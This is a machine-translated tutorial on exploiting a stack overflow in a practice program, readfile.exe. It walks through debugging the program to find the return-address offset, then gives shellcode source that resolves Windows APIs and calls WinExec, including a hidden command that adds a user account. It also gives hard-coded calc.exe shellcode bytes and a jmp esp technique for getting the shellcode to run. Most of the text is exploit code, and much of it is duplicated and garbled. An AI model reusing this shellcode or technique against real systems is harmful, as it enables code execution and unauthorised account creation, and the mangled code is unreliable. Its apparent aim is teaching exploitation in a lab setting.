Analysis and utilization of a simple small program Vulnerability
Body
Note: readfile.exe is a vulnerability program that reads the c: \ overflow.txt file and pops up the file content in the form of a dialog box.
Analysis process:
Step 1:
Input 1234in overflow.txtsung and open it with readfile.exe. The program runs normally. Enter 11112222333344445555666677888888in "logs" and open it with readfile.exe. The result is as follows:
Program exception. The analysis shows that when the file content is too long, the program may encounter problems. When the file is too long, the file content will overwrite the return address in the function stack, and the program cannot return normally, an exception occurs.
Step 2:
Use odpsereadfile.exe to track, locate the location of MessageBoxA, and set the breakpoint. As follows:
Press the F9 key to execute the program. The program stops at the breakpoint and continues to press F9.
Click "OK". The program continues to run. Stop at the breakpoint 77D50830 and follow up with F7 in one step. The program goes to the upper-layer function:
When the execution reaches 00401051, observe the function stack as follows:
We can see that the return address will be overwritten at the 13 offset of the TXT text.
Step 3:
(1) Compile the program code for the general pop-up calculator and extract the shellcode
# Include "stdio. h "int main () {unsigned int KerdllAddress; // defines the address unsigned int GetProcessAddr of kernel32; // defines the function address unsigned int loadlibrarya; unsigned int WinExecAddress; // The address of the command execution command char * ShellCodeAddr = 0; // The shellcode address unsigned int ShellCodeSize = 0; // The shellcode size; _ asm {// --------------------------------------------------------------------------------- // obtain the ShellCode memory start address and code size to print out PUSHAD JMP 1L2: pop esi mov ShellCodeAddr, ESI; lea ecx, ShellCodeE, lea edx, ShellCodeB sub ecx, MOV ShellCodeSize, ecx popad jmp ShellCodeEL1: CALL L2; here, the next address of the program is the shellcode starting address pressure stack. The above command pop esi gets this address // The original shellcodeShellCodeB: mov eax, fs: 30 h; PEB address mov eax, [eax + 0ch]; LDR address mov esi, [eax + 1ch] lodsd mov edi, [eax + 08 h]; if Windows xp is unavailable, you can get the kernel32 address/* xor ecx, ecxnext_module: mov e Bp, [esi + 0x8] mov edi, [esi + 0x20] mov esi, [esi] cmp [edi + 12*2], cx jne next_module mov edi, ebp */mov KerdllAddress, edi; get the base address of kernell32; get the function address mov eax, [edi + 3ch] below; eax is the pe Header offset address eax = f0 mov edx, [edi + eax + 78 h] add edx, edi; edx is the export table address mov ecx, [edx + 18 h]; number of functions in the table everywhere mov ebx, [edx + 20 h] add ebx, edi; export table function name address, addressofname search: dec ecx mov esi, [ebx + ecx * 4] add esi, edi mov eax, 50746547 h; GetProcAddress cmp [e Si], eax; compare PteG jne search mov eax, 41636f72 cmp [esi + 4], eax; compare Acor; if it is GetProcA, it indicates to find the jne search mov ebx function, [edx + 24 h] add ebx, edi; serial number array address addressof mov cx, [ebx + ecx * 2] mov ebx, [edx + 1ch] add ebx, edi mov eax, [ebx + ecx * 4] add eax, edi; get the address of GetProcess by serial number mov GetProcessAddr and eax; obtain the LoadLibraryA address call _ loadlibrary _ emit 'l' _ emit 'O' _ emit 'A' _ emit 'D' _ emit 'l' _ emit 'I' _ emit 'B' _ emit'r' _ emit 'A' _ emit'r' _ emit 'y' _ emit 'A' _ emit 0_loadlibrary: push KerdllAddress call GetProcessAddr //; call the GetProcess function to obtain the address of the LoadLirary function (GetProcessAddr (hMoudle, lpProcName) mov loadlibrarya, eax; obtain the WinExec address: call _ WinExec _ emit 'W' _ emit 'I' _ emit 'n' _ emit 'E' _ emit 'X' _ emit 'E' E '_ emit' c' _ emit 0_WinExec: push KerdllAddress call GetProcessAddr // call the function address mov WinExecAddress and eax obtained by calling the function; call WinExec to bring up the calculator WinExec. ("Net user test test123/add", SW_HIDE ); push 1 call _ calc _ emit 'C' _ emit 'A' _ emit 'l' _ emit 'C' _ emit '. '_ emit 'E' _ emit'x' _ emit 'E' _ emit 0_calc: call WinExecAddressShellCodeE :}// extract shellcode; FILE * file; int I; file = fopen ("shell.txt", "w"); fprintf (file, "); //" escape, similar for (I = 0; I <ShellCodeSize; I ++) {if (I % 16 = 0 & I! = 0) fprintf (file, "" n ""); fprintf (file, "\ x % 02x", (unsigned char) ShellCodeAddr [I]);} fprintf (file, "); return 1 ;}# include" stdio. h "int main () {unsigned int KerdllAddress; // defines the address unsigned int GetProcessAddr of kernel32; // defines the function address unsigned int loadlibrarya; unsigned int WinExecAddress; // The address of the command execution command char * ShellCodeAddr = 0; // The shellcode address unsigned int ShellCodeSize = 0; // The shellcode size __asm {//------------- Else // obtain the ShellCode memory start address and code size to print out PUSHADJMP L1L2: pop esimov ShellCodeAddr, ESI; get the ShellCode address lea ecx, ShellCodeE; calculate the ShellCode code length lea edx, ShellCodeBSUB ECX, EDXMOV ShellCodeSize, ECXPOPADJMP ShellCodeEL1: CALL L2. Here, the next address of the program is the shellcode starting address pressure stack, the above command pop esi gets this address // The original shellcodeShellCodeB: mov eax, fs: 30 h; PEB address mov eax, [Eax + 0ch]; LDR address mov esi, [eax + 1ch] lodsdmov edi, [eax + 08 h]; if Windows xp is unavailable, you can get the kernel32 address/* xor ecx, ecxnext_module: mov ebp, [esi + 0x8] mov edi, [esi + 0x20] mov esi, [esi] cmp [edi + 12*2], cxjne next_modulemov edi, ebp */mov KerdllAddress, edi; get the base address of kernell32; the function address mov eax, [edi + 3ch] is obtained below. eax is the pe Header offset address eax = f0mov edx, [edi + eax + 78 h] add edx, edi; edx is the exported table address mo V ecx, [edx + 18 h]; number of table functions everywhere mov ebx, [edx + 20 h] add ebx, edi; export table function name address, addressofnamesearch: dec ecxmov esi, [ebx + ecx * 4] add esi, edimov eax, 50746547 h; GetProcAddresscmp [esi], eax; compare PteGjne searchmov eax, 41636f72hcmp [esi + 4], eax; compare to Acor; If GetProcA is used, find the jne searchmov ebx, [edx + 24 h] add ebx, edi; serial number array address addressofmov cx, [ebx + ecx * 2] mov ebx, [e Dx + 1ch] add ebx, edimov eax, [ebx + ecx * 4] add eax, edi; get the address of GetProcess by using the serial number mov GetProcessAddr and eax; obtain the LoadLibraryA address call _ loadlibrary_emit 'l' _ emit 'O' _ emit 'A' _ emit 'D' _ emit 'l' _ emit 'I' I '_ emit' B. '_ emit'r' _ emit'a' _ emit 'R' _ emit 'y' _ emit 'A' _ emit 0_loadlibrary: push KerdllAddresscall GetProcessAddr //; call the GetProcess function to obtain the address of the LoadLirary function (GetProcessAddr (hMoudle, lpProcName) mov loadl Ibrarya, eax; obtain the WinExec address call _ WinExec_emit 'W' _ emit 'I' _ emit 'n' _ emit 'E' _ emit 'X' _ emit 'E' E '_ emit 'C' _ emit 0_WinExec: push KerdllAddresscall GetProcessAddr // The function address mov WinExecAddress and eax obtained by calling the function; call WinExec to bring up the calculator WinExec ("net user test test123/add", SW_HIDE ); push 1 call _ calc_emit 'C' _ emit 'A' _ emit 'l' _ emit 'C' _ emit '. '_ emit'e' _ emit'x' _ emit 'E' _ emit 0_calc: call WinExecAddressShellCodeE :} // Extract shellcode; FILE * file; int I; file = fopen ("shell.txt", "w"); fprintf (file ,"""); // escape "as" ". Similar for (I = 0; I <ShellCodeSize; I ++) {if (I % 16 = 0 & I! = 0) fprintf (file, "" n ""); fprintf (file, "\ x % 02x", (unsigned char) ShellCodeAddr [I]);} fprintf (file, "); return 1 ;}
The extracted shellcode is as follows:
(2) Use Shellcode
Find the address of a jmp esp command at 0x7c874413 in kernel32.dll, write it at the address of the located function and stack return address, and add the shellcode extracted in (1) to it, as follows:
Use OD to open the program test result. The result is as follows:
The abnormal address is the data in the black circle in shellcode, 0-7. The analysis shows that the program cannot be executed due to the long shellcode data.
After analysis, two solutions are provided.
Method 1: Use hard encoding to shorten the shellcode Length
Find the address of the WinExec function 0x7c86250d.
#include "windows.h"#include "stdio.h"int main(){//WinExec("calc.exe",SW_SHOW);//printf("%x",WinExec);__asm{ push 1 call _calu _emit 'c' _emit 'a' _emit 'l' _emit 'c' _emit '.' _emit 'e' _emit 'x' _emit 'e' _emit 0_calu: mov eax,0x7c86250d call eax}return 1;}#include "windows.h"#include "stdio.h"int main ( ){//WinExec("calc.exe",SW_SHOW);//printf("%x",WinExec);__asm{push 1call _calu_emit 'c'_emit 'a'_emit 'l'_emit 'c'_emit '.'_emit 'e'_emit 'x'_emit 'e'_emit 0_calu :mov eax , 0x7c86250dcall eax}return 1 ;}
Extract shellcode as follows:
"\x6a\x01\xe8\x09\x00\x00\x00\x63\x61\x6c\x63\x2e\x65\x78\x65\x00""\xb8\x0d\x25\x86\x7c\xff\xd0"
"\ X6a \ x01 \ xe8 \ x09 \ x00 \ x00 \ x00 \ x63 \ x61 \ x6c \ x63 \ x2e \ x65 \ x78 \ x65 \ x00"
"\ Xb8 \ x0d \ x25 \ x86 \ x7c \ xff \ xd0"
Write shellode to a file. The execution result is as follows:
Method 2: Skip the shellcode exception instead of using hard encoding to shorten shellcode.
The hard-coding method has poor universality, so it is not advisable. According to the shellcode exception Analysis in Figure 0-8, the cause of the exception is that the unreadable address occurs during program execution during data in shellcode, therefore, the data in the shellcode with an exception is changed to an executable address (change to the program entry address 0x004011e1). The newly constructed data is as follows:
Use OD to load the program, track and debug, and find that no exception occurs when the program executes the function. When an exception is returned, the position of the exception is the same as that at the beginning, for example:
We can see that the next execution address is the address of jmp esp in our data, and then execute shellcode. It can be seen that changing the shellcode data at the exception to an executable address program will still return to the address normally. Therefore, to construct the data, put the shellcode to be executed at the end of the shellcode Data Exception (after tracking and analysis, we know that the cause of the exception is that the program executes a call ecx command, the value in ecx is the shellcode data with an exception. If you place a jump command and skip four bytes (that is, four bytes of the exception), you can run the shellcode normally, the constructed data is as follows:
(Note: The shellcode in the green box is the universal shellcode extracted from (1). The result is as follows:
Shellcode skips the exception and runs the "Real Function shellcode code" normally. Note: this program does not truncate the shellcode string '0'. If the program truncates the string, it skips the shellcode exception point, there will also be enough stack space to decrypt the encrypted shellcode, which is more practical.
The readfile.exe program can be downloaded here:
Http://www.2cto.com/uploadfile/2014/1006/20141006092749306.rar